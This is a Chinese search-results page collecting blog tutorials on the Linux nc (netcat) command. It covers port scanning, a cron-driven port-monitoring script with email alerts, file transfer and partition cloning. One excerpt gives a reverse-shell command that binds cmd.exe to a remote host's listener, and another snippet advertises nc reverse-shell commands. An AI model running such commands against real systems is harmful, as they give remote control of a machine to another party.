精华内容
下载资源
问答
  • linux下nc命令

    千次阅读 2015-06-16 19:37:18
    一、nc命令检测端口的用法 # nc -v -w 10 %IP% -z %PORT% -v 显示指令执行过程。 -w 设置等待连线的时间。 -u 表示使用UDP协议 -z 使用0输入/输出模式,只在扫描通信端口时使用。 例1:扫描指定的...
    一、nc命令检测端口的用法
    # nc  -v  -w 10 %IP%   -z  %PORT%
    -v  显示指令执行过程。
    -w  <超时秒数>   设置等待连线的时间。
    -u  表示使用UDP协议
    -z  使用0输入/输出模式,只在扫描通信端口时使用。

    例1:扫描指定的8080端口
    . 代码如下:

    # nc -v -w 10 -z 192.168.0.100 8080
    Connection to 192.168.0.100 8080 port [tcp/http] succeeded!

    例2:扫描20到25的端口范围,并详细输出。
    . 代码如下:

    # nc -v -w 2 -z 192.168.0.100 20-25  

    nc: connect to 192.168.0.100 port 20 (tcp) failed: Connection refused
    nc: connect to 192.168.0.100 port 21 (tcp) failed: Connection refused
    Connection to 192.168.0.100 22 port [tcp/ssh] succeeded!
    nc: connect to 192.168.0.100 port 23 (tcp) failed: Connection refused
    nc: connect to 192.168.0.100  port 24 (tcp) failed: Connection refused
    nc: connect to 192.168.0.100 port 25 (tcp) failed: Connection refused

    例3:扫描1到65535的端口范围,只输出打开的端口(去掉-v参数即可)
    . 代码如下:

    # nc -w 1 -z 192.168.0.100 1-65535

    Connection to 192.168.0.100 22 port [tcp/ssh] succeeded!
    Connection to 192.168.0.100 80 port [tcp/http] succeeded!
    Connection to 192.168.0.100 2121 port [tcp/scientia-ssdb] succeeded!
    Connection to 192.168.0.100 4004 port [tcp/pxc-roid] succeeded!
    Connection to 192.168.0.100 8081 port [tcp/tproxy] succeeded!
    Connection to 192.168.0.100 11211 port [tcp/*] succeeded!

    二、批量检测服务器指定端口开放情况:

    1、假如我们要监控一堆指定的IP和端口,可新建一个文件(第1列服务器IP,第2列要监控的端口)。
    . 代码如下:

    # vim /scripts/ip-ports.txt
    192.168.0.100 80
    192.168.0.100 8081
    192.168.0.101 8082
    192.168.1.100 21

    2、我们可以写这样一个脚本来批量检测端口是否开放:
    . 代码如下:

    # vim /scripts/ncports.sh
    #!/bin/bash
    #检测服务器端口是否开放,成功会返回0值显示ok,失败会返回1值显示fail

    cat /scripts/ip-ports.txt | while read line
    do
      nc -w 10 -z $line > /dev/null 2>&1
      if [ $? -eq 0 ]
      then
        echo $line:ok
      else
        echo $line:fail
      fi  
    done

    3、执行脚本查看运行结果如下:
    . 代码如下:

    # chmod a+x  /scripts/ncports.sh
    # /scripts/ncports.sh

    192.168.0.100 80:ok
    192.168.0.100 8081:ok
    192.168.0.101 8082:ok
    192.168.1.100 21:fail

    三、端口不通时设置告警:

    1、 邮件告警:
    1) 先安装linux下面的邮件发送程序mutt(参见我另一篇文章《Linux下面如何用mutt命令发送邮件》

    2) 修改上面的ncports.sh检测脚本,在显示失败fail的时候增加一行:
           ……………………
          echo $line :fail
          echo "服务器 $line 端口不通,请尽快处理!" | mutt -s "【机房监控】服务器$line端口不通" test@139.com
          ……………………
    3) 如果上面的接收邮箱设置为移动139邮箱,并开启接收邮件短信告知,即可实现“短信告警”的功能。

    2、 windows消息弹窗告警:
    (1) 先打开接收消息弹窗windows客户机的“Messenger”服务,设置为“启动”
    (2) 利用smbclient命令来发送消息,net脚本文件如下:
    . 代码如下:

    # vim /scripts/net.sh
    #!/bin/bash
    #/scripts/net.sh
    case "$1" in
    send)
    echo "$3"|smbclient -I "$2" -M `nmblookup -A "$2"|sed -e '1d' -e '3,/*/d'|cut -f2|cut -d' ' -f1`

    *)
    echo "Usage:net send <IPaddr.> <message>"
    exit 1
    esac
    # chmod a+x /scripts/net.sh

    (3) 发送消息弹窗命令测试:(发送给192.168.1.83这台win xp机子,发送内容不支持中文)
    . 代码如下:

    # /scripts/net.sh  send  192.168.1.83     "hello,nihao"
     

    3、端口不通时发送邮件并消息弹窗告警的脚本如下:
    . 代码如下:

    # vim /scripts/ncports.sh
    #!/bin/bash
    #检测服务器端口是否开放,成功会返回0值,打不开会返回1值
    cat /scripts/ip-ports.txt | while read line
    do
      nc -w 10 -z $line > /dev/null 2>&1
      if [ $? -eq 0 ]
      then
        echo $line:ok  
      else
        echo $line:fail
        echo "服务器 $line 端口不通,请尽快处理!" | mutt -s "【机房监控】服务器$line端口不通"  test@18.com
        /scripts/net.sh send 192.168.1.83 "The $line fail"   
      fi  
    done

    4、加入任务计划每2分钟执行一次
    . 代码如下:

    # crontab -e
    */2 * * * *  /scripts/ncports.sh  > /dev/null 2>&1
    # service crond restart
    展开全文
  • linux 下nc 命令的使用

    2017-11-12 23:11:00
    linux下nc命令的使用 netcat被誉为网络安全界的‘瑞士军刀’,一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一...

    linux 下nc 命令的使用

    netcat被誉为网络安全界的‘瑞士军刀’,一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接。 
    一、基本使用 
    想要连接到某处: nc [-options] hostname port[s] [ports] … 
    绑定端口等待连接: nc -l port [-options] [hostname] [port] 
    参数: 
    -h 帮助信息 
    -l 监听模式,用于入站连接 
    -n 指定数字的IP地址,不能用hostname 
    -u UDP模式

    -t TCP模式(默认模式) 
    -v 详细输出——用两个-v可得到更详细的内容 
    -w secs timeout的时间 
    -z 将输入输出关掉——用于扫描时 
    其中端口号可以指定一个或者用lo-hi式的指定范围。 
    1)扫描端口 
    tcp扫描 
    shell&gt;nc -v -z -w2 192.168.1.131 1-30 
    udp扫描 
    shell&gt;nc -u -v -z -w2 192.168.1.131 1-30 
    2)连接到REMOTE主机,例子: 
    格式:nc -nvv 192.168.x.x 80 
    讲解:连到192.168.x.x的TCP80端口 
    3)监听LOCAL主机,例子: 
    格式:nc -l 80 
    讲解:监听本机的TCP80端口 
    4)扫描远程主机,例子: 
    格式:nc -nvv -w2 -z 192.168.x.x 80-445 
    讲解:扫描192.168.x.x的TCP80到TCP445的所有端口

    5)两台linux主机间传送数据

    Linux A:192.168.1.131

    Linux B:192.168.1.132

    现在需要从B主机上传输一个文件file_b到B主机上,那么操作方法如下所示: 
    在A主机上:nc -d -l 1000 > /data/file_out &(启动端口监听) 
    在B主机上:nc 192.168.1.131 1000 < file_in(从A主机上启动的监听端口传送数据) 
    文件传输完毕后,系统会自动断开连接。从上面来看,它其实是一个很简单的Server/Client模式,服务器端开启侦听端口,并用输入输出重定向到一个文件file.out当中,等待客户端的连接。客户端主动连接主机,并和它建立一个Socket连接,然后把传输的文件重定向到数据流当中。 
    需要注意的一点是,主机侦听的端口必须是已经开放的端口,可以通过查看iptables进行配置。




    本文转自 yubowei 51CTO博客,原文链接:http://blog.51cto.com/samyubw/555247

    展开全文
  • Linux nc 命令介绍

    2020-06-03 22:18:38
    come on 伸出中指戳戳上方关注我……本文空调开放,欢迎阅读ncLinux 的一个强大的命令nc 是简称,全名是 netcat。大部分的 Linux 发行版都有自带 nc...

    come on 伸出中指戳戳上方关注我……

    本文空调开放,欢迎阅读

    nc 是 Linux 下的一个强大的命令。nc 是简称,全名是 netcat。大部分的 Linux 发行版都有自带 nc 这个命令,如果没有的话就需要自己安装了

    我这里使用的是 CentOS 7.3,对于 nc,你可以使用 yum 安装或者自己编译二进制文件。这里推荐使用 yum 安装,因为 yum 可以自动解决依赖问题

    1
    
    
    yum install nmap-ncat.x86_64
    
    

    同样,netcat 也有 Windows 版本可用,你可以在 https://eternallybored.org/misc/netcat 这里下载到 netcat 的 Windows 版本。这里下载到的是一个压缩包,里面包含 netcat 的源代码和 nc & nc64 两个已经编译好的二进制文件,你可以根据自己系统来选择使用 nc 或 nc64

    成功安装之后你就可以使用 nc 命令了,使用 nc –help,你可以查看到 nc 命令的详细帮助。我在这里使用几个具体的例子来简要概述下 nc 命令的基本使用方法


    0. nc 命令的标准使用形式

    1
    
    
    nc [-options] ip port[s] [ports]
    
    

    ip 处是可以使用域名的,nc 会调用 DNS 解析成 IP 地址。如果不需要 nc 自动解析的话可以在执行时添加 -n [–nodns] 参数


    1. 两台主机之间发送实时消息

    1
    2
    
    
    A 主机:nc -lp port
    B 主机:nc ip port
    
    

    -l [–listen]:绑定并监听传入的连接
    -p [–source-port]:指定要使用的源端口

    建立连接后在任意一台主机输入信息并按下回车发送后对方就能收到
    因为 nc 是会自动从标准流中读取数据的,如果想要禁止,可以在命令执行时使用 -d 参数


    2. 两台主机之间传送文件

    1
    2
    
    
    接收端:nc -lp port > outputfile
    发送端:nc destip port < inputfile
    
    

    这一条本质和上面那个是一样的,只是借用了输出重定向这个特性。同样,nc 命令也支持管道,你甚至可以借由此实现克隆分区:

    1
    2
    3
    4
    5
    6
    7
    
    
    接收端:
    unmount /dev/sda2
    nc -lp port | dd of=/dev/sda2
    
    发送端:
    unmount /dev/sda1
    dd if=/dev/sda1 | nc destip port
    
    


    3. 发送 HTTP 请求

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    
    $nc destip 80 <<EOF
    
    GET /HTTP/1.1
    
    Cookie:xxx
    xxx:xxx
    xxx
    
    EOF
    
    

    为什么?因为 nc 发送的是纯文本
    保存 Web 页面?重定向输出流就好了


    4. 反向代理 Shell

    1
    2
    
    
    发送端:nc -lp localport
    执行端:nc -t -e C:/windows/system32/cmd.exe destip destport
    
    

    -t [–telnet]:响应 telnet 交互
    -e [–exec-command]:执行给定的命令,也可以携带一个 lua 脚本

    destip 和 destport 即为发送端的 IP 和 localport
    连接成功后,发送端的会得到一个执行端的 Shell

    你可以使用 -w 来设置无响应时的超时时间

    nc 在默认情况下,如果连接到 Server 的 Client 断开连接,那么 Server 也会跟着退出。你可以使用 -k 参数来保持 Server 的监听状态

    nc 是支持 IPV6 的,你可以使用 -4 & -6 参数来指定使用 IPV4 或 IPV6

    nc 默认是使用 TCP 协议通信,但是也支持 UDP,可添加 -u 参数来使用 UDP 协议

    对于使用 nc 去扫描端口这个用途,我是不推荐的,因为 nc 的扫描速度十分之慢。
    而且,在最新的 nc 中,已经去掉了 -z    (zero-I/O mode [used for scanning]) 这个参数。
    所以,对于这个需求,还是使用更专业的 nmap 吧

    展开全文
  • Linux下nc命令的使用

    2019-10-08 23:55:18
    nc命令的作用 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口 端口的扫描,nc可以作为client发起TCP或UDP连接 机器之间传输文件 机器之间网络测速 nc命令的安装 sh-4.2# yum...

    nc命令的作用

    • 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
    • 端口的扫描,nc可以作为client发起TCP或UDP连接
    • 机器之间传输文件
    • 机器之间网络测速

     

    nc命令的安装

    sh-4.2# yum -y install nmap-ncat

     

    常用参数

    -l    用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
    -p    暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)
    -s    指定发送数据的源IP地址,适用于多网卡机
    -u    指定nc使用UDP协议,默认为TCP
    -v    输出交互或出错信息,新手调试时尤为有用
    -w    超时秒数,后面跟数字

     

    常用示例

    sh-4.2# nc -l 9999                        # 开启一个本地9999的TCP协议端口,由客户端主动发起连接,一旦连接必须由服务端发起关闭
    sh-4.2# nc -vw 2 192.168.21.248 11111     # 通过nc去访问192.168.21.248主机的11111端口,确认是否存活;可不加参数
    sh-4.2# nc -ul 9999                       # 开启一个本地9999的UDP协议端口,客户端不需要由服务端主动发起关闭
    sh-4.2# nc 192.168.21.248 9999 < test     # 通过192.168.21.248的9999TCP端口发送数据文件
    sh-4.2# nc -l 9999 > zabbix.file          # 开启一个本地9999的TCP端口,用来接收文件内容
    
    # 测试网速
    A机器操作如下:
    sh-4.2# yum install -y dstat           # A机器安装dstat命令
    sh-4.2# nc -l 9999 > /dev/null
    
    # B机器开启数据传输
    nc 10.0.1.161 9999 </dev/zero
    
    # A机器进行网络监控
    sh-4.2# dstat

     

    转载于:https://www.cnblogs.com/guge-94/p/10719016.html

    展开全文
  • linux nc 命令的使用

    2017-07-21 21:08:00
    netcat被誉为网络安全界的‘瑞士军刀’,一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。...想要连接到某处: nc [-options] hostname port[s] [ports] … 绑定端口等待连接: ...
  • linux 下nc命令(NetCat)使用详解

    千次阅读 2019-08-25 23:29:56
    nc(NetCat)在网络工具中有“瑞士军刀”的美誉,其有Windows和Linux的版本。因为它短小精悍(1.84版本也不过25k,旧版本或缩减版甚至更小)、功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输...
  • linux 下nc命令使用

    2012-01-25 19:00:10
    nc-1.84-10.fc6 版本说明: 1、远程拷贝文件 从server1拷贝文件到server2上。需要先在server2上,用nc激活监听,server2上运行: 引用 [root@hatest2 tmp]# nc -l 1234 > install.log server1上运行: 引用...
  • 当在flume数据采集的时候用到了nc命令,突然大脑一片空白,故查阅了一下资料,总结如下: nc命令的作用: 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口 端口的扫描,nc可以作为...
  • 语 法:nc [-hlnruz][-g][-G][-i][-o][-p][-s][-v...][-w][主机名称][通信端口...] 参 数:  -G 设置来源路由指向器,其数值为4的倍数。  -i 设置时间间隔,以便传送信息及扫描通信端口。  -n 直接使用...
  • linux命令nc

    千次阅读 2020-09-03 23:13:27
    linux下nc命令也可以用来探测ip和端口是否通,常用nc -u -z -w 1.1.1.1 80,下面看一下常见选项。 -z 表示连接立即关闭,不进行数据交换。 -v 表示输出检测结果,-vv表示更详细的信息 -w 表示执行超时时间,如果...
  • 我们都知道检测TCP端口是否可通的命令是telnet,在windows和Linux都可以用,但telnet不能检测udp端口,今天给大家介绍的是Linux下 NC命令用于检测UDP端口是否可通。 Telnet 检测TCP端口 [root@apexsoft ~]# telnet ...
  • windows_nc&linux_nc.rar 包含了2个文件,一个是windows下命令nc,直接拷贝到windows/system32/下即可,另一个则是linux下的rm包
  • 主要介绍了Linux下NC反弹shell命令,非常不错,具有参考借鉴价值,需要的的朋友参考下吧
  • 主要介绍了linux端口down掉需要能够立即告警处理,可以用简单的nc命令来实现,详细步骤看
  • linux下常用命令nc

    2009-01-16 22:56:06
    linux下常用命令nc linux下常用命令nc
  • linux下使用nc命令

    2014-02-28 11:04:23
    有些时候要测试通过外网访问本机的某个端口在网络层是否可以访问,但是本机上并没有运行着此端口的服务,这时候可以用nc命令来打开系统的这个端口来进行测试,指令如下:nc -l portex: nc -l 8080nc命令传输文件:...
  • 一、安装 下载 ... rpm -iUv nc-1.84-22.el6.x86_64.rpm ...nc命令是netcat命令的简称。 二、网络通信 我们希望在主机A上发送消息,在主机B上能实时看到。 主机B: 监听端口(这里选用了1234) ,...
  • nc命令 nc命令和网络通信有关,nc之间可以通信,也可以和其它网络工具通信,可以使用nc -h查看帮助。 -l 监听模式,即服务端。 -p 指定监听的端口。 -n 后面参数解释为IP,不是域名。 -u UDP模式,默认为TCP协议。...
  • Linux7 查看端口下nc命令的使用第一步安装:linux默认是没有安装的第二步:输入 nc -l 8080 第一步安装:linux默认是没有安装的 yum install -y nc 安装成功 第二步:输入 nc -l 8080 开启两个窗口: 第一个输入: ...
  • 相互发消息步骤: 1. 服务器在某个端口上侦听,使用nc -l 主机ip地址 端口号,当然也可以加上-v来显示这个过程,如果不指定ip地址的话就默认是0.0.0.0,相当于INADDR_ANY。 2. 客户端通过nc 主机ip...
  • Linux nc命令详解

    2021-02-20 17:40:15
    语法 nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_...这个命令用于sun有关于TCP和UDP的任何操作。命令可以开启一个TCP连接,发送UDP包,
  • linux nc 命令详解

    千次阅读 2015-04-15 16:20:34
    今天在饮水思源上闲逛,看到了一个贴子关于Linux下nc命来实现文件传输,进行学习了解了一下。 发送端: cat test.txt | nc -l -p 6666 或者nc -l -p 6666 有些版本不要在 -p 【监听6666端口,等待连接】(设...

空空如也

空空如也

1 2 3 4 5 ... 15
收藏数 291
精华内容 116
关键字:

linux下nc命令

linux 订阅